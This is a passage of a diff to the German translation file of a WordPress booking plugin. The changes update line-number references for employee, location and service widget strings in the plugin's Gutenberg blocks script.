assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12691\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12814\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12937\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13060\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13183\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13306\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13429\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13552\n msgid \"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\"\n msgstr \"ID eines Mitarbeiters, von dem Inhalte angezeigt werden sollen, darstelken. Hinweis: Dieser Parameter verwendet automatisch die aktuelle Beitrags-ID, wenn sich ein Shortcode innerhalb des Beitrags des Mitarbeiters befindet und anderweitig erforderlich ist.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContactsModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContactsShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13359\n msgid \"Employee Contact Information\"\n msgstr \"Kontakt-Informationen des Mitarbeiters\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContentModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContentShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13235\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13236\n msgid \"Employee Content\"\n msgstr \"Inhalt des Mitarbeiters\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeImageModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeImageShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12743\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12744\n msgid \"Employee Image\"\n msgstr \"Bild des Mitarbeiters\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeScheduleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeScheduleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13112\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13113\n msgid \"Employee Schedule\"\n msgstr \"Terminplan des Mitarbeiters\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeServicesListModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12989\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12990\n msgid \"Employee Services List\"\n msgstr \"Liste der vom Mitarbeiter angebotenen Dienstleistungen\"\n \n@@ -1642,7 +1632,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11692\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11693\n msgid \"Employees List\"\n msgstr \"Liste der Mitarbeiter\"\n \n@@ -1658,10 +1648,10 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:41\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:43\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11509\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11804\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12090\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12408\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11805\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12091\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12409\n msgid \"Show featured image.\"\n msgstr \"Das hervorgehobene Bild anzeigen.\"\n \n@@ -1674,9 +1664,9 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:46\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:46\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11517\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12416\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11518\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12417\n msgid \"Show post title.\"\n msgstr \"Den Titel des Beitrags anzeigen.\"\n \n@@ -1689,30 +1679,30 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:51\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:51\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:51\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11525\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11820\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12424\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11821\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12425\n msgid \"Show post excerpt.\"\n msgstr \"Einen Auszug aus dem Beitrag anzeigen.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:74\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11533\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11534\n msgid \"Show contact information.\"\n msgstr \"Kontakt-Informationen anzeigen.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:84\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11542\n msgid \"Show social networks.\"\n msgstr \"Soziale Netzwerke anzeigen.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:94\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11550\n msgid \"Show additional information.\"\n msgstr \"Zusatzinformationen anzeigen.\"\n \n@@ -1720,7 +1710,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:107\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:60\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11559\n msgid \"Comma-separated slugs or IDs of employees that will be shown.\"\n msgstr \"Durch Komma getrennte Slugs oder IDs von Mitarbeitern, die gezeigt werden.\"\n \n@@ -1734,8 +1724,8 @@\n #: includes\u002Fpost-types\u002FLocationPostType.php:77\n #: assets\u002Fjs\u002Fanalytics-page.js:33420\n #: assets\u002Fjs\u002Fcalendar-page.js:45397\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11566\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11828\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n msgid \"Locations\"\n msgstr \"Standorte\"\n \n@@ -1743,8 +1733,8 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:117\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:66\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11568\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11830\n msgid \"Comma-separated slugs or IDs of locations.\"\n msgstr \"Durch Komma getrennte Slugs oder IDs von Standorten.\"\n \n@@ -1757,9 +1747,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:71\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:68\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:84\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11575\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11846\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11576\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11847\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12501\n msgid \"Posts Per Page\"\n msgstr \"Posten pro Seite\"\n \n@@ -1777,10 +1767,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:91\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:237\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11855\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12170\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12509\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n msgid \"Columns Count\"\n msgstr \"Spaltenanzahl\"\n \n@@ -1798,10 +1788,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:92\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:29\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:30\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11586\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11857\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12172\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12511\n msgid \"The number of columns in the grid.\"\n msgstr \"Die Anzahl der Spalten im Raster.\"\n \n@@ -1815,10 +1805,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:178\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:59\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:54\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11594\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11865\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12180\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12519\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11595\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12181\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12520\n msgid \"Order By\"\n msgstr \"Sortieren nach\"\n \n@@ -1832,10 +1822,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:182\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:39\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11601\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11872\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12187\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11602\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11873\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12188\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12527\n msgid \"No order\"\n msgstr \"Keine Reihenfolge\"\n \n@@ -1846,9 +1836,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:124\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:183\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11604\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11875\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12529\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11605\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11876\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12530\n msgid \"Post ID\"\n msgstr \"Beitrags-ID\"\n \n@@ -1859,9 +1849,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:125\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:184\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11607\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11878\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12532\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11608\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11879\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12533\n msgid \"Post author\"\n msgstr \"Beitragsautor\"\n \n@@ -1875,9 +1865,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11610\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11881\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12535\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11611\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11882\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12536\n msgid \"Post title\"\n msgstr \"Beitragstitel\"\n \n@@ -1888,9 +1878,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:186\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11613\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12538\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11614\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12539\n msgid \"Post name (post slug)\"\n msgstr \"Beitragsname (Beitrag-Slug)\"\n \n@@ -1901,9 +1891,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:187\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11616\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11887\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11617\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11888\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12542\n msgid \"Post date\"\n msgstr \"Veröffentlicht\"\n \n@@ -1914,9 +1904,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:188\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11619\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11890\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12544\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11891\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12545\n msgid \"Last modified date\"\n msgstr \"Zuletzt geändert\"\n \n@@ -1927,9 +1917,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:189\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11622\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11893\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11623\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11894\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12548\n msgid \"Random order\"\n msgstr \"Zufällige Reihenfolge\"\n \n@@ -1940,9 +1930,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:190\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11625\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11896\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11626\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11897\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12551\n msgid \"Relevance\"\n msgstr \"Relevanz\"\n \n@@ -1956,10 +1946,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:191\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:48\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:48\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11628\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11899\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12211\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12553\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11629\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11900\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12212\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12554\n msgid \"Page order\"\n msgstr \"Seitenreihenfolge\"\n \n@@ -1970,9 +1960,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:133\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:192\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:49\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11631\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11902\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12556\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11632\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11903\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12557\n msgid \"Page order and post title\"\n msgstr \"Seitenreihenfolge und Titel des Beitrags\"\n \n@@ -1984,10 +1974,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:146\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:178\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:206\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11641\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11912\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12221\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12569\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11642\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11913\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12222\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12570\n msgid \"DESC\"\n msgstr \"DESC\"\n \n@@ -2001,24 +1991,24 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:207\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:42\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11644\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11915\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12224\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12572\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11645\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11916\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12225\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12573\n msgid \"ASC\"\n msgstr \"ASC\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeSocialNetworksModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeSocialNetworksShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13481\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13482\n msgid \"Employee Social Networks\"\n msgstr \"Soziale Netzwerke des Mitarbeiters\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeTitleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeTitleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12867\n msgid \"Employee Title\"\n msgstr \"Titel des Mitarbeiters\"\n \n@@ -2026,7 +2016,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:29\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11963\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11964\n msgid \"Locations List\"\n msgstr \"Liste der Standorte\"\n \n@@ -2048,9 +2038,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:72\n #: includes\u002Fpost-types\u002FLocationPostType.php:124\n #: includes\u002Fpost-types\u002FServicePostType.php:164\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11837\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12123\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12482\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n msgid \"Categories\"\n msgstr \"Kategorien\"\n \n@@ -2066,9 +2056,9 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:61\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:64\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:86\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11839\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12125\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12484\n msgid \"Comma-separated slugs or IDs of categories that will be shown.\"\n msgstr \"Durch Komma getrennte Slugs oder IDs von Kategorien, die gezeigt werden.\"\n \n@@ -2078,26 +2068,26 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:149\n #: includes\u002Fpost-types\u002FServicePostType.php:252\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:31\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12272\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12273\n msgid \"Service Categories\"\n msgstr \"Dienstleistungs-Kategorien\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:37\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:53\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12098\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12099\n msgid \"Show Services Count?\"\n msgstr \"Anzahl Services anzeigen?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:63\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12106\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12107\n msgid \"Show Description?\"\n msgstr \"Beschreibung anzeigen?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:73\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12114\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n msgid \"Parent\"\n msgstr \"Oberkategorie\"\n \n@@ -2105,14 +2095,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:76\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:57\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:58\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12116\n msgid \"Parent term slug or ID to retrieve direct-child terms from.\"\n msgstr \"Slug oder ID des Oberbegriff, aus denen die Begriffe der Unterkategorien aufgerufen werden.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:69\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:93\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:68\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12132\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n msgid \"Exclude Categories\"\n msgstr \"Kategorien ausschließen\"\n \n@@ -2120,21 +2110,21 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:69\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:69\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12134\n msgid \"Comma-separated slugs or IDs of categories that will not be shown.\"\n msgstr \"Durch Komma getrennte Slugs oder IDs von Kategorien, die nicht gezeigt werden.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:75\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:103\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12141\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n msgid \"Hide Empty\"\n msgstr \"Leere Inhalte verbergen\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:85\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:114\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:80\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12150\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n msgid \"Depth\"\n msgstr \"Tiefe\"\n \n@@ -2142,14 +2132,14 